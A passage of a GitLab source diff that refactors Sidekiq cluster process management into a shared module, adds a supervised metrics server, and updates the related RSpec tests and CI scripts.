index e5fa55f8582..d40e8de5a1f 100755
--- a/scripts/trigger-build
+++ b/scripts/trigger-build
@@ -155,7 +155,9 @@ module Trigger
'ee' => Trigger.ee? ? 'true' : 'false',
'QA_BRANCH' => ENV['QA_BRANCH'] || 'master',
'CACHE_UPDATE' => ENV['OMNIBUS_GITLAB_CACHE_UPDATE'],
- 'GITLAB_QA_OPTIONS' => ENV['GITLAB_QA_OPTIONS']
+ 'GITLAB_QA_OPTIONS' => ENV['GITLAB_QA_OPTIONS'],
+ 'QA_TESTS' => ENV['QA_TESTS'],
+ 'ALLURE_JOB_NAME' => ENV['ALLURE_JOB_NAME']
}
end
end
diff --git a/scripts/undercoverage b/scripts/undercoverage
new file mode 100755
index 00000000000..cc7415d67ac
--- /dev/null
+++ b/scripts/undercoverage
@@ -0,0 +1,3 @@
+#!/usr/bin/env bash
+
+bundle exec undercover -c "${CI_MERGE_REQUEST_DIFF_BASE_SHA:-$(git merge-base origin/master HEAD)}"
diff --git a/scripts/used-feature-flags b/scripts/used-feature-flags
index 7d81e4b2cb2..552adbfbd9f 100755
--- a/scripts/used-feature-flags
+++ b/scripts/used-feature-flags
@@ -3,6 +3,7 @@
require 'set'
require 'fileutils'
+require_relative 'lib/gitlab'
class String
def red
@@ -27,8 +28,7 @@ flags_paths = [
]
# For EE additionally process `ee/` feature flags
-is_ee = File.exist?('ee/app/models/license.rb') && !%w[true 1].include?(ENV['FOSS_ONLY'].to_s)
-if is_ee
+if Gitlab.ee?
flags_paths << 'ee/config/feature_flags/**/*.yml'
# Geo feature flags are constructed dynamically and there's no explicit checks in the codebase so we mark all
@@ -43,8 +43,7 @@ if is_ee
end
# For JH additionally process `jh/` feature flags
-is_jh = is_ee && Dir.exist?('jh') && !%w[true 1].include?(ENV['EE_ONLY'].to_s)
-if is_jh
+if Gitlab.jh?
flags_paths << 'jh/config/feature_flags/**/*.yml'
Dir.glob('jh/app/replicators/geo/*_replicator.rb').each_with_object(Set.new) do |path, memo|
diff --git a/scripts/validate_migration_schema b/scripts/validate_migration_schema
index f9b2f0677b7..dded5c64927 100755
--- a/scripts/validate_migration_schema
+++ b/scripts/validate_migration_schema
@@ -30,7 +30,8 @@ class MigrationSchemaValidator
committed_migrations.reverse_each do |filename|
version = find_migration_version(filename)
- run("bin/rails db:migrate:down VERSION=#{version}")
+ run("scripts/db_tasks db:migrate:down VERSION=#{version}")
+ run("scripts/db_tasks db:schema:dump")
end
git_command = "git diff #{diff_target} -- #{FILENAME}"
@@ -40,7 +41,8 @@ class MigrationSchemaValidator
end
def validate_schema_on_migrate!
- run('bin/rails db:migrate')
+ run("scripts/db_tasks db:migrate")
+ run("scripts/db_tasks db:schema:dump")
git_command = "git diff -- #{FILENAME}"
base_message = "the committed #{FILENAME} does not match the one generated by running added migrations"
diff --git a/sidekiq_cluster/cli.rb b/sidekiq_cluster/cli.rb
index 55b4521d37d..57649ec74c8 100644
--- a/sidekiq_cluster/cli.rb
+++ b/sidekiq_cluster/cli.rb
@@ -1,5 +1,7 @@
# frozen_string_literal: true
+require_relative '../config/bundler_setup'
+
require 'optparse'
require 'logger'
require 'time'
@@ -11,11 +13,21 @@ require_relative '../lib/gitlab/utils'
require_relative '../lib/gitlab/sidekiq_config/cli_methods'
require_relative '../lib/gitlab/sidekiq_config/worker_matcher'
require_relative '../lib/gitlab/sidekiq_logging/json_formatter'
+require_relative '../lib/gitlab/process_management'
+require_relative '../metrics_server/metrics_server'
require_relative 'sidekiq_cluster'
module Gitlab
module SidekiqCluster
class CLI
+ THREAD_NAME = 'supervisor'
+
+ # The signals that should terminate both the master and workers.
+ TERMINATE_SIGNALS = %i(INT TERM).freeze
+
+ # The signals that should simply be forwarded to the workers.
+ FORWARD_SIGNALS = %i(TTIN USR1 USR2 HUP).freeze
+
CommandError = Class.new(StandardError)
def initialize(log_output = $stderr)
@@ -23,6 +35,7 @@ module Gitlab
@max_concurrency = 50
@min_concurrency = 0
@environment = ENV['RAILS_ENV'] || 'development'
+ @metrics_dir = ENV["prometheus_multiproc_dir"] || File.absolute_path("tmp/prometheus_multiproc_dir/sidekiq")
@pid = nil
@interval = 5
@alive = true
@@ -35,6 +48,8 @@ module Gitlab
end
def run(argv = ARGV)
+ Thread.current.name = THREAD_NAME
+
if argv.empty?
raise CommandError,
'You must specify at least one queue to start a worker for'
@@ -88,6 +103,8 @@ module Gitlab
@logger.info("Starting cluster with #{queue_groups.length} processes")
end
+ start_metrics_server(wipe_metrics_dir: true)
+
@processes = SidekiqCluster.start(
queue_groups,
env: @environment,
@@ -106,7 +123,7 @@ module Gitlab
end
def write_pid
- SidekiqCluster.write_pid(@pid) if @pid
+ ProcessManagement.write_pid(@pid) if @pid
end
def soft_timeout_seconds
@@ -123,11 +140,11 @@ module Gitlab
end
def continue_waiting?(deadline)
- SidekiqCluster.any_alive?(@processes) && monotonic_time < deadline
+ ProcessManagement.any_alive?(@processes) && monotonic_time < deadline
end
def hard_stop_stuck_pids
- SidekiqCluster.signal_processes(SidekiqCluster.pids_alive(@processes), "-KILL")
+ ProcessManagement.signal_processes(ProcessManagement.pids_alive(@processes), "-KILL")
end
def wait_for_termination
@@ -138,14 +155,14 @@ module Gitlab
end
def trap_signals
- SidekiqCluster.trap_terminate do |signal|
+ ProcessManagement.trap_signals(TERMINATE_SIGNALS) do |signal|
@alive = false
- SidekiqCluster.signal_processes(@processes, signal)
+ ProcessManagement.signal_processes(@processes, signal)
wait_for_termination
end
- SidekiqCluster.trap_forward do |signal|
- SidekiqCluster.signal_processes(@processes, signal)
+ ProcessManagement.trap_signals(FORWARD_SIGNALS) do |signal|
+ ProcessManagement.signal_processes(@processes, signal)
end
end
@@ -153,17 +170,74 @@ module Gitlab
while @alive
sleep(@interval)
- unless SidekiqCluster.all_alive?(@processes)
+ if metrics_server_enabled? && ProcessManagement.process_died?(@metrics_server_pid)
+ @logger.warn('Metrics server went away')
+ start_metrics_server(wipe_metrics_dir: false)
+ end
+
+ unless ProcessManagement.all_alive?(@processes)
# If a child process died we'll just terminate the whole cluster. It's up to
# runit and such to then restart the cluster.
@logger.info('A worker terminated, shutting down the cluster')
- SidekiqCluster.signal_processes(@processes, :TERM)
+ stop_metrics_server
+ ProcessManagement.signal_processes(@processes, :TERM)
break
end
end
end
+ def start_metrics_server(wipe_metrics_dir: false)
+ return unless metrics_server_enabled?
+
+ @logger.info("Starting metrics server on port #{sidekiq_exporter_port}")
+ @metrics_server_pid = MetricsServer.spawn(
+ 'sidekiq',
+ metrics_dir: @metrics_dir,
+ wipe_metrics_dir: wipe_metrics_dir,
+ trapped_signals: TERMINATE_SIGNALS + FORWARD_SIGNALS
+ )
+ end
+
+ def sidekiq_exporter_enabled?
+ ::Settings.monitoring.sidekiq_exporter.enabled
+ rescue Settingslogic::MissingSetting
+ nil
+ end
+
+ def exporter_has_a_unique_port?
+ # In https://gitlab.com/gitlab-org/gitlab/-/issues/345802 we added settings for sidekiq_health_checks.
+ # These settings default to the same values as sidekiq_exporter for backwards compatibility.
+ # If a different port for sidekiq_health_checks has been set up, we know that the
+ # user wants to serve health checks and metrics from different servers.
+ return false if sidekiq_health_check_port.nil? || sidekiq_exporter_port.nil?
+
+ sidekiq_exporter_port != sidekiq_health_check_port
+ end
+
+ def sidekiq_exporter_port
+ ::Settings.monitoring.sidekiq_exporter.port
+ rescue Settingslogic::MissingSetting
+ nil
+ end
+
+ def sidekiq_health_check_port
+ ::Settings.monitoring.sidekiq_health_checks.port
+ rescue Settingslogic::MissingSetting
+ nil
+ end
+
+ def metrics_server_enabled?
+ !@dryrun && sidekiq_exporter_enabled? && exporter_has_a_unique_port?
+ end
+
+ def stop_metrics_server
+ return unless @metrics_server_pid
+
+ @logger.info("Stopping metrics server (PID #{@metrics_server_pid})")
+ ProcessManagement.signal(@metrics_server_pid, :TERM)
+ end
+
def option_parser
OptionParser.new do |opt|
opt.banner = "#{File.basename(__FILE__)} [QUEUE,QUEUE] [QUEUE] ... [OPTIONS]"
diff --git a/sidekiq_cluster/dependencies.rb b/sidekiq_cluster/dependencies.rb
deleted file mode 100644
index 91e91475f15..00000000000
--- a/sidekiq_cluster/dependencies.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-# rubocop:disable Naming/FileName
-# frozen_string_literal: true
-
-require 'shellwords'
-
-# rubocop:enable Naming/FileName
diff --git a/sidekiq_cluster/sidekiq_cluster.rb b/sidekiq_cluster/sidekiq_cluster.rb
index 49478ba740d..c5139ab8874 100644
--- a/sidekiq_cluster/sidekiq_cluster.rb
+++ b/sidekiq_cluster/sidekiq_cluster.rb
@@ -1,6 +1,6 @@
# frozen_string_literal: true
-require_relative 'dependencies'
+require_relative '../lib/gitlab/process_management'
module Gitlab
module SidekiqCluster
@@ -17,49 +17,6 @@ module Gitlab
# After surpassing the soft timeout.
DEFAULT_HARD_TIMEOUT_SECONDS = 5
- # The signals that should terminate both the master and workers.
- TERMINATE_SIGNALS = %i(INT TERM).freeze
-
- # The signals that should simply be forwarded to the workers.
- FORWARD_SIGNALS = %i(TTIN USR1 USR2 HUP).freeze
-
- # Traps the given signals and yields the block whenever these signals are
- # received.
- #
- # The block is passed the name of the signal.
- #
- # Example:
- #
- # trap_signals(%i(HUP TERM)) do |signal|
- # ...
- # end
- def self.trap_signals(signals)
- signals.each do |signal|
- trap(signal) do
- yield signal
- end
- end
- end
-
- def self.trap_terminate(&block)
- trap_signals(TERMINATE_SIGNALS, &block)
- end
-
- def self.trap_forward(&block)
- trap_signals(FORWARD_SIGNALS, &block)
- end
-
- def self.signal(pid, signal)
- Process.kill(signal, pid)
- true
- rescue Errno::ESRCH
- false
- end
-
- def self.signal_processes(pids, signal)
- pids.each { |pid| signal(pid, signal) }
- end
-
# Starts Sidekiq workers for the pairs of processes.
#
# Example:
@@ -109,16 +66,21 @@ module Gitlab
return
end
- pid = Process.spawn(
- { 'ENABLE_SIDEKIQ_CLUSTER' => '1',
- 'SIDEKIQ_WORKER_ID' => worker_id.to_s },
- *cmd,
- pgroup: true,
- err: $stderr,
- out: $stdout
- )
+ # We need to remove Bundler specific env vars, since otherwise the
+ # child process will think we are passing an alternative Gemfile
+ # and will clear and reset LOAD_PATH.
+ pid = Bundler.with_original_env do
+ Process.spawn(
+ { 'ENABLE_SIDEKIQ_CLUSTER' => '1',
+ 'SIDEKIQ_WORKER_ID' => worker_id.to_s },
+ *cmd,
+ pgroup: true,
+ err: $stderr,
+ out: $stdout
+ )
+ end
- wait_async(pid)
+ ProcessManagement.wait_async(pid)
pid
end
@@ -144,41 +106,5 @@ module Gitlab
concurrency_from_queues.clamp(min, max)
end
-
- # Waits for the given process to complete using a separate thread.
- def self.wait_async(pid)
- Thread.new do
- Process.wait(pid) rescue Errno::ECHILD
- end
- end
-
- # Returns true if all the processes are alive.
- def self.all_alive?(pids)
- pids.each do |pid|
- return false unless process_alive?(pid)
- end
-
- true
- end
-
- def self.any_alive?(pids)
- pids_alive(pids).any?
- end
-
- def self.pids_alive(pids)
- pids.select { |pid| process_alive?(pid) }
- end
-
- def self.process_alive?(pid)
- # Signal 0 tests whether the process exists and we have access to send signals
- # but is otherwise a noop (doesn't actually send a signal to the process)
- signal(pid, 0)
- end
-
- def self.write_pid(path)
- File.open(path, 'w') do |handle|
- handle.write(Process.pid.to_s)
- end
- end
end
end
diff --git a/spec/bin/feature_flag_spec.rb b/spec/bin/feature_flag_spec.rb
index de0db8ba256..a85cafcb4a3 100644
--- a/spec/bin/feature_flag_spec.rb
+++ b/spec/bin/feature_flag_spec.rb
@@ -239,7 +239,7 @@ RSpec.describe 'bin/feature-flag' do
end
describe '.read_rollout_issue_url' do
- let(:options) { OpenStruct.new(name: 'foo', type: :development) }
+ let(:options) { double('options', name: 'foo', type: :development) }
let(:url) { 'https://issue' }
it 'reads type from $stdin' do
@@ -265,7 +265,7 @@ RSpec.describe 'bin/feature-flag' do
end
describe '.read_ee_only' do
- let(:options) { OpenStruct.new(name: 'foo', type: :development) }
+ let(:options) { double('options', name: 'foo', type: :development) }
it { expect(described_class.read_ee_only(options)).to eq(false) }
end
diff --git a/spec/channels/application_cable/connection_spec.rb b/spec/channels/application_cable/connection_spec.rb
index 7d60548f780..c10e0c0cab4 100644
--- a/spec/channels/application_cable/connection_spec.rb
+++ b/spec/channels/application_cable/connection_spec.rb
@@ -2,12 +2,12 @@
require 'spec_helper'
-RSpec.describe ApplicationCable::Connection, :clean_gitlab_redis_shared_state do
+RSpec.describe ApplicationCable::Connection, :clean_gitlab_redis_sessions do
let(:session_id) { Rack::Session::SessionId.new('6919a6f1bb119dd7396fadc38fd18d0d') }
context 'when session cookie is set' do
before do
- Gitlab::Redis::SharedState.with do |redis|
+ Gitlab::Redis::Sessions.with do |redis|
redis.set("session:gitlab:#{session_id.private_id}", Marshal.dump(session_hash))
end
diff --git a/spec/commands/metrics_server/metrics_server_spec.rb b/spec/commands/metrics_server/metrics_server_spec.rb
new file mode 100644
index 00000000000..f3936e6b346
--- /dev/null
+++ b/spec/commands/metrics_server/metrics_server_spec.rb
@@ -0,0 +1,73 @@
+# frozen_string_literal: true
+
+require 'spec_helper'
+
+require_relative '../../../metrics_server/metrics_server'
+
+# End-to-end tests for the metrics server process we use to serve metrics
+# from forking applications (Sidekiq, Puma) to the Prometheus scraper.
+RSpec.describe 'bin/metrics-server', :aggregate_failures do
+ let(:config_file) { Tempfile.new('gitlab.yml') }
+ let(:config) do
+ {
+ 'test' => {
+ 'monitoring' => {
+ 'sidekiq_exporter' => {
+ 'address' => 'localhost',
+ 'enabled' => true,
+ 'port' => 3807
+ }
+ }
+ }
+ }
+ end
+
+ context 'with a running server' do
+ before do
+ # We need to send a request to localhost
+ WebMock.allow_net_connect!
+
+ config_file.write(YAML.dump(config))
+ config_file.close
+
+ env = {
+ 'GITLAB_CONFIG' => config_file.path,
+ 'METRICS_SERVER_TARGET' => 'sidekiq',
+ 'WIPE_METRICS_DIR' => '1'
+ }
+ @pid = Process.spawn(env, 'bin/metrics-server', pgroup: true)
+ end
+
+ after do
+ webmock_enable!
+
+ if @pid
+ pgrp = Process.getpgid(@pid)
+
+ Timeout.timeout(5) do
+ Process.kill('TERM', -pgrp)
+ Process.waitpid(@pid)
+ end
+
+ expect(Gitlab::ProcessManagement.process_alive?(@pid)).to be(false)
+ end
+ rescue Errno::ESRCH => _
+ # 'No such process' means the process died before
+ ensure
+ config_file.unlink
+ end
+
+ it 'serves /metrics endpoint' do
+ expect do
+ Timeout.timeout(5) do
+ http_ok = false
+ until http_ok
+ sleep 1
+ response = Gitlab::HTTP.try_get("http://localhost:3807/metrics", allow_local_requests: true)
+ http_ok = response&.success?
+ end
+ end
+ end.not_to raise_error
+ end
+ end
+end
diff --git a/spec/commands/sidekiq_cluster/cli_spec.rb b/spec/commands/sidekiq_cluster/cli_spec.rb
index baa4a2b4ec3..148b8720740 100644
--- a/spec/commands/sidekiq_cluster/cli_spec.rb
+++ b/spec/commands/sidekiq_cluster/cli_spec.rb
@@ -12,8 +12,23 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do # rubocop:disable RSpec/FilePath
{ env: 'test', directory: Dir.pwd, max_concurrency: 50, min_concurrency: 0, dryrun: false, timeout: timeout }
end
+ let(:sidekiq_exporter_enabled) { false }
+ let(:sidekiq_exporter_port) { '3807' }
+ let(:sidekiq_health_checks_port) { '3807' }
+
before do
stub_env('RAILS_ENV', 'test')
+ stub_config(
+ monitoring: {
+ sidekiq_exporter: {
+ enabled: sidekiq_exporter_enabled,
+ port: sidekiq_exporter_port
+ },
+ sidekiq_health_checks: {
+ port: sidekiq_health_checks_port
+ }
+ }
+ )
end
describe '#run' do
@@ -241,12 +256,184 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do # rubocop:disable RSpec/FilePath
end
end
end
+
+ context 'metrics server' do
+ let(:trapped_signals) { described_class::TERMINATE_SIGNALS + described_class::FORWARD_SIGNALS }
+ let(:metrics_dir) { Dir.mktmpdir }
+
+ before do
+ stub_env('prometheus_multiproc_dir', metrics_dir)
+ end
+
+ after do
+ FileUtils.rm_rf(metrics_dir, secure: true)
+ end
+
+ context 'starting the server' do
+ context 'without --dryrun' do
+ context 'when there are no sidekiq_health_checks settings set' do
+ before do
+ stub_config(
+ monitoring: {
+ sidekiq_exporter: {
+ enabled: true,
+ port: sidekiq_exporter_port
+ }
+ }
+ )
+
+ allow(Gitlab::SidekiqCluster).to receive(:start)
+ allow(cli).to receive(:write_pid)
+ allow(cli).to receive(:trap_signals)
+ allow(cli).to receive(:start_loop)
+ end
+
+ it 'does not start a sidekiq metrics server' do
+ expect(MetricsServer).not_to receive(:spawn)
+
+ cli.run(%w(foo))
+ end
+
+ it 'rescues Settingslogic::MissingSetting' do
+ expect { cli.run(%w(foo)) }.not_to raise_error(Settingslogic::MissingSetting)
+ end
+ end
+
+ context 'when the sidekiq_exporter.port setting is not set' do
+ before do
+ stub_config(
+ monitoring: {
+ sidekiq_exporter: {
+ enabled: true
+ },
+ sidekiq_health_checks: {
+ port: sidekiq_health_checks_port
+ }
+ }
+ )
+
+ allow(Gitlab::SidekiqCluster).to receive(:start)
+ allow(cli).to receive(:write_pid)
+ allow(cli).to receive(:trap_signals)
+ allow(cli).to receive(:start_loop)
+ end
+
+ it 'does not start a sidekiq metrics server' do
+ expect(MetricsServer).not_to receive(:spawn)
+
+ cli.run(%w(foo))
+ end
+
+ it 'rescues Settingslogic::MissingSetting' do
+ expect { cli.run(%w(foo)) }.not_to raise_error(Settingslogic::MissingSetting)
+ end
+ end
+
+ context 'when sidekiq_exporter.enabled setting is not set' do
+ before do
+ stub_config(
+ monitoring: {
+ sidekiq_exporter: {},
+ sidekiq_health_checks: {
+ port: sidekiq_health_checks_port
+ }
+ }
+ )
+
+ allow(Gitlab::SidekiqCluster).to receive(:start)
+ allow(cli).to receive(:write_pid)
+ allow(cli).to receive(:trap_signals)
+ allow(cli).to receive(:start_loop)
+ end
+
+ it 'does not start a sidekiq metrics server' do
+ expect(MetricsServer).not_to receive(:spawn)
+
+ cli.run(%w(foo))
+ end
+ end
+
+ context 'with valid settings' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:sidekiq_exporter_enabled, :sidekiq_exporter_port, :sidekiq_health_checks_port, :start_metrics_server) do
+ true | '3807' | '3907' | true
+ true | '3807' | '3807' | false
+ false | '3807' | '3907' | false
+ false | '3807' | '3907' | false
+ end
+
+ with_them do
+ before do
+ allow(Gitlab::SidekiqCluster).to receive(:start)
+ allow(cli).to receive(:write_pid)
+ allow(cli).to receive(:trap_signals)
+ allow(cli).to receive(:start_loop)
+ end
+
+ specify do
+ if start_metrics_server
+ expect(MetricsServer).to receive(:spawn).with('sidekiq', metrics_dir: metrics_dir, wipe_metrics_dir: true, trapped_signals: trapped_signals)
+ else
+ expect(MetricsServer).not_to receive(:spawn)
+ end
+
+ cli.run(%w(foo))
+ end
+ end
+ end
+ end
+
+ context 'with --dryrun set' do
+ let(:sidekiq_exporter_enabled) { true }
+
+ it 'does not start the server' do
+ expect(MetricsServer).not_to receive(:spawn)
+
+ cli.run(%w(foo --dryrun))
+ end
+ end
+ end
+
+ context 'supervising the server' do
+ let(:sidekiq_exporter_enabled) { true }
+ let(:sidekiq_health_checks_port) { '3907' }
+
+ before do
+ allow(cli).to receive(:sleep).with(a_kind_of(Numeric))
+ allow(MetricsServer).to receive(:spawn).and_return(99)
+ cli.start_metrics_server
+ end
+
+ it 'stops the metrics server when one of the processes has been terminated' do
+ allow(Gitlab::ProcessManagement).to receive(:process_died?).and_return(false)
+ allow(Gitlab::ProcessManagement).to receive(:all_alive?).with(an_instance_of(Array)).and_return(false)
+ allow(Gitlab::ProcessManagement).to receive(:signal_processes).with(an_instance_of(Array), :TERM)
+
+ expect(Process).to receive(:kill).with(:TERM, 99)
+
+ cli.start_loop
+ end
+
+ it 'starts the metrics server when it is down' do
+ allow(Gitlab::ProcessManagement).to receive(:process_died?).and_return(true)
+ allow(Gitlab::ProcessManagement).to receive(:all_alive?).with(an_instance_of(Array)).and_return(false)
+ allow(cli).to receive(:stop_metrics_server)
+
+ expect(MetricsServer).to receive(:spawn).with(
+ 'sidekiq', metrics_dir: metrics_dir, wipe_metrics_dir: false, trapped_signals: trapped_signals
+ )
+
+ cli.start_loop
+ end
+ end
+ end
end
describe '#write_pid' do
context 'when a PID is specified' do
it 'writes the PID to a file' do
- expect(Gitlab::SidekiqCluster).to receive(:write_pid).with('/dev/null')
+ expect(Gitlab::ProcessManagement).to receive(:write_pid).with('/dev/null')
cli.option_parser.parse!(%w(-P /dev/null))
cli.write_pid
@@ -255,7 +442,7 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do # rubocop:disable RSpec/FilePath
context 'when no PID is specified' do
it 'does not write a PID' do
- expect(Gitlab::SidekiqCluster).not_to receive(:write_pid)
+ expect(Gitlab::ProcessManagement).not_to receive(:write_pid)
cli.write_pid
end
@@ -264,13 +451,13 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do # rubocop:disable RSpec/FilePath
describe '#wait_for_termination' do
it 'waits for termination of all sub-processes and succeeds after 3 checks' do
- expect(Gitlab::SidekiqCluster).to receive(:any_alive?)
+ expect(Gitlab::ProcessManagement).to receive(:any_alive?)
.with(an_instance_of(Array)).and_return(true, true, true, false)
- expect(Gitlab::SidekiqCluster).to receive(:pids_alive)
+ expect(Gitlab::ProcessManagement).to receive(:pids_alive)
.with([]).and_return([])
- expect(Gitlab::SidekiqCluster).to receive(:signal_processes)
+ expect(Gitlab::ProcessManagement).to receive(:signal_processes)
.with([], "-KILL")
stub_const("Gitlab::SidekiqCluster::CHECK_TERMINATE_INTERVAL_SECONDS", 0.1)
@@ -292,13 +479,13 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do # rubocop:disable RSpec/FilePath
.with([['foo']], default_options)
.and_return(worker_pids)
- expect(Gitlab::SidekiqCluster).to receive(:any_alive?)
+ expect(Gitlab::ProcessManagement).to receive(:any_alive?)
.with(worker_pids).and_return(true).at_least(10).times
- expect(Gitlab::SidekiqCluster).to receive(:pids_alive)
+ expect(Gitlab::ProcessManagement).to receive(:pids_alive)
.with(worker_pids).and_return([102])
- expect(Gitlab::SidekiqCluster).to receive(:signal_processes)
+ expect(Gitlab::ProcessManagement).to receive(:signal_processes)
.with([102], "-KILL")
cli.run(%w(foo))
@@ -312,9 +499,9 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do # rubocop:disable RSpec/FilePath
end
describe '#trap_signals' do
- it 'traps the termination and forwarding signals' do
- expect(Gitlab::SidekiqCluster).to receive(:trap_terminate)
- expect(Gitlab::SidekiqCluster).to receive(:trap_forward)
+ it 'traps termination and sidekiq specific signals' do
+ expect(Gitlab::ProcessManagement).to receive(:trap_signals).with(%i[INT TERM])
+ expect(Gitlab::ProcessManagement).to receive(:trap_signals).with(%i[TTIN USR1 USR2 HUP])
cli.trap_signals
end
@@ -324,10 +511,10 @@ RSpec.describe Gitlab::SidekiqCluster::CLI do # rubocop:disable RSpec/FilePath
it 'runs until one of the processes has been terminated' do
allow(cli).to receive(:sleep).with(a_kind_of(Numeric))
- expect(Gitlab::SidekiqCluster).to receive(:all_alive?)
+ expect(Gitlab::ProcessManagement).to receive(:all_alive?)
.with(an_instance_of(Array)).and_return(false)
- expect(Gitlab::SidekiqCluster).to receive(:signal_processes)
+ expect(Gitlab::ProcessManagement).to receive(:signal_processes)
.with(an_instance_of(Array), :TERM)
cli.start_loop
diff --git a/spec/config/mail_room_spec.rb b/spec/config/mail_room_spec.rb
index 074549ff591..55f8fdd78ba 100644
--- a/spec/config/mail_room_spec.rb
+++ b/spec/config/mail_room_spec.rb
@@ -26,11 +26,11 @@ RSpec.describe 'mail_room.yml' do
before do
stub_env('GITLAB_REDIS_QUEUES_CONFIG_FILE', absolute_path(queues_config_path))
- clear_queues_raw_config
+ redis_clear_raw_config!(Gitlab::Redis::Queues)
end
after do
- clear_queues_raw_config
+ redis_clear_raw_config!(Gitlab::Redis::Queues)
end
context 'when incoming email is disabled' do
@@ -103,12 +103,6 @@ RSpec.describe 'mail_room.yml' do
end
end
- def clear_queues_raw_config
- Gitlab::Redis::Queues.remove_instance_variable(:@_raw_config)
- rescue NameError
- # raised if @_raw_config was not set; ignore
- end
-
def absolute_path(path)
Rails.root.join(path).to_s
end
diff --git a/spec/controllers/abuse_reports_controller_spec.rb b/spec/controllers/abuse_reports_controller_spec.rb
index 3ef78226db0..11371108375 100644
--- a/spec/controllers/abuse_reports_controller_spec.rb
+++ b/spec/controllers/abuse_reports_controller_spec.rb
@@ -19,7 +19,7 @@ RSpec.describe AbuseReportsController do
context 'when the user has already been deleted' do
it 'redirects the reporter to root_path' do
user_id = user.id
- user.destroy
+ user.destroy!
get :new, params: { user_id: user_id }
diff --git a/spec/controllers/admin/clusters_controller_spec.rb b/spec/controllers/admin/clusters_controller_spec.rb
index bd0c2965906..25c4830a79a 100644
--- a/spec/controllers/admin/clusters_controller_spec.rb
+++ b/spec/controllers/admin/clusters_controller_spec.rb
@@ -278,7 +278,8 @@ RSpec.describe Admin::ClustersController do
end
allow_next_instance_of(GoogleApi::CloudPlatform::Client) do |instance|
allow(instance).to receive(:projects_zones_clusters_create) do
- OpenStruct.new(
+ double(
+ 'instance',
self_link: 'projects/gcp-project-12345/zones/us-central1-a/operations/ope-123',
status: 'RUNNING'
)
diff --git a/spec/controllers/admin/integrations_controller_spec.rb b/spec/controllers/admin/integrations_controller_spec.rb
index cf6a6385425..410bc0ddc1d 100644
--- a/spec/controllers/admin/integrations_controller_spec.rb
+++ b/spec/controllers/admin/integrations_controller_spec.rb
@@ -105,40 +105,4 @@ RSpec.describe Admin::IntegrationsController do
.and change { Integrations::Jira.inherit_from_id(integration.id).count }.by(-1)
end
end
-
- describe '#overrides' do
- let_it_be(:instance_integration) { create(:bugzilla_integration, :instance) }
- let_it_be(:non_overridden_integration) { create(:bugzilla_integration, inherit_from_id: instance_integration.id) }
- let_it_be(:overridden_integration) { create(:bugzilla_integration) }
- let_it_be(:overridden_other_integration) { create(:confluence_integration) }
-
- subject do
- get :overrides, params: { id: instance_integration.class.to_param }, format: format
- end
-
- context 'when format is JSON' do
- let(:format) { :json }
-
- include_context 'JSON response'
-
- it 'returns projects with overrides', :aggregate_failures do
- subject
-
- expect(response).to have_gitlab_http_status(:ok)
- expect(response).to include_pagination_headers
- expect(json_response).to contain_exactly(a_hash_including('full_name' => overridden_integration.project.full_name))
- end
- end
-
- context 'when format is HTML' do
- let(:format) { :html }
-
- it 'renders template' do
- subject
-
- expect(response).to render_template 'shared/integrations/overrides'
- expect(assigns(:integration)).to eq(instance_integration)
- end
- end
- end
end
diff --git a/spec/controllers/application_controller_spec.rb b/spec/controllers/application_controller_spec.rb
index e623c1ab940..004bea02580 100644
--- a/spec/controllers/application_controller_spec.rb
+++ b/spec/controllers/application_controller_spec.rb
@@ -732,17 +732,8 @@ RSpec.describe ApplicationController do
get :index
- expect(response.headers['Cache-Control']).to eq 'private, no-store'
expect(response.headers['Pragma']).to eq 'no-cache'
end
-
- it 'does not set the "no-store" header for XHR requests' do
- sign_in(user)
-
- get :index, xhr: true
-
- expect(response.headers['Cache-Control']).to eq 'max-age=0, private, must-revalidate'
- end
end
end
diff --git a/spec/controllers/boards/issues_controller_spec.rb b/spec/controllers/boards/issues_controller_spec.rb
index b2200050e41..1fd249eba69 100644
--- a/spec/controllers/boards/issues_controller_spec.rb
+++ b/spec/controllers/boards/issues_controller_spec.rb
@@ -484,7 +484,7 @@ RSpec.describe Boards::IssuesController do
context 'with guest user' do
context 'in open list' do
it 'returns a successful 200 response' do
- open_list = board.lists.create(list_type: :backlog)
+ open_list = board.lists.create!(list_type: :backlog)
create_issue user: guest, board: board, list: open_list, title: 'New issue'
expect(response).to have_gitlab_http_status(:ok)
diff --git a/spec/controllers/google_api/authorizations_controller_spec.rb b/spec/controllers/google_api/authorizations_controller_spec.rb
index 3dd2cc307d5..3bf50f98791 100644
--- a/spec/controllers/google_api/authorizations_controller_spec.rb
+++ b/spec/controllers/google_api/authorizations_controller_spec.rb
@@ -88,5 +88,26 @@ RSpec.describe GoogleApi::AuthorizationsController do
it_behaves_like 'access denied'
end
+
+ context 'user logs in but declines authorizations' do
+ subject { get :callback, params: { error: 'xxx', state: state } }
+
+ let(:session_key) { 'session-key' }
+ let(:redirect_uri) { 'example.com' }
+ let(:error_uri) { 'error.com' }
+ let(:state) { session_key }
+
+ before do
+ session[GoogleApi::CloudPlatform::Client.session_key_for_redirect_uri(session_key)] = redirect_uri
+ session[:error_uri] = error_uri
+ allow_next_instance_of(GoogleApi::CloudPlatform::Client) do |instance|
+ allow(instance).to receive(:get_token).and_return([token, expires_at])
+ end
+ end
+
+ it 'redirects to error uri' do
+ expect(subject).to redirect_to(error_uri)
+ end
+ end
end
end
diff --git a/spec/controllers/graphql_controller_spec.rb b/spec/controllers/graphql_controller_spec.rb
index f9b15c9a48e..578ce04721c 100644
--- a/spec/controllers/graphql_controller_spec.rb
+++ b/spec/controllers/graphql_controller_spec.rb
@@ -262,5 +262,16 @@ RSpec.describe GraphqlController do
expect(controller).to have_received(:append_info_to_payload)
expect(log_payload.dig(:metadata, :graphql)).to match_array(expected_logs)
end
+
+ it 'appends the exception in case of errors' do
+ exception = StandardError.new('boom')
+
+ expect(controller).to receive(:execute).and_raise(exception)
+
+ post :execute, params: { _json: graphql_queries }
+
+ expect(controller).to have_received(:append_info_to_payload)
+ expect(log_payload.dig(:exception_object)).to eq(exception)
+ end
end
end
diff --git a/spec/controllers/groups/dependency_proxies_controller_spec.rb b/spec/controllers/groups/dependency_proxies_controller_spec.rb
index 35bd7d47aed..67847936a80 100644
